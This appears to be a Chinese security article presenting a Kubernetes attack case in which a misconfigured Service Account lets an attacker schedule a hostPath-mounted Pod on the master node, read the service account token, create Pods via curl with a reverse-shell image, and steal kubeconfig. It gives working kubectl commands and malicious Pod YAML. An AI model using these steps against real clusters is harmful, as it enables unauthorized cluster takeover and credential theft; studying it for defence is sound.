01、概述
Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。
当攻击者通过某个web应用获取到一个Pod权限时,如果RBAC权限配置不当,Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式,将挂载根目录的恶意Pod调度到Master节点,获取Master 节点上的 kubeconfig 文件,从而直接接管整个集群。
02、攻击场景
(1)Service Account赋予bypass对test名称空间拥有管理员权限。
kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass
(2)在Pod中,使用自定义的Service Account。
# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:
name: pod-sa
namespace: test
spec:
serviceAccountName: "bypass"
containers:
name: ubuntu
image: ubuntu:20.04
command: ['/bin/sh','-c','sleep 24h']
(3)在Pod创建时,Service Account关联的凭证,会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,其中ca.crt是证书、namespace是Pod所属的命名空间,token是访问API Server的令牌 。
03、攻击过程
(1)攻击方式:kubectl 命令行操作
在Pod中,下载kubectl命令行工具,使用kubectl auth检查权限,拥有当前名称空间中所有执行操作的权限,这就具备了获取集群权限的条件。
编写一个yaml文件,将节点的根目录挂载到容器的/data 目录,使用污点容忍度创建恶意Pod来对Master节点进行横向控制。
如下图:将构建的Pod成功调度到Mater节点。
yaml文件内容:
apiVersion: v1
kind: Pod
metadata:
name: pod1
spec:
nodeSelector:
"" :
tolerations:
key: "node-role.kubernetes.io/master"
operator: "Exists"
effect: NoSchedule
containers:
image: nginx:1.20
name: pod1
volumeMounts:
mountPath: /data
name: data
volumes:
name: data
hostPath:
path: /
攻击者成功窃取 kubeconfig 文件,将获得对 Kubernetes 集群的完全控制权限,从而能够任意操控和管理整个集群。
(2)攻击方式:curl 命令操作
首先,创建一个包含恶意代码的镜像,用于反弹Shell,利用curl 命令操作 Kubernetes API创建Pod。
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
用curl创建pod
curl -k --header "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/yaml'
-s -w "状态码是:%{http_code}n"
-d "$(cat /tmp/111.yaml)"
https://10.96.0.1/api/v1/namespaces/test/pods/
远程监听端口来接收Master节点创建的Pod反弹的shell连接,成功获取到kubeconfig文件。
原文始发于微信公众号(Bypass):K8s攻击案例:RBAC配置不当导致集群接管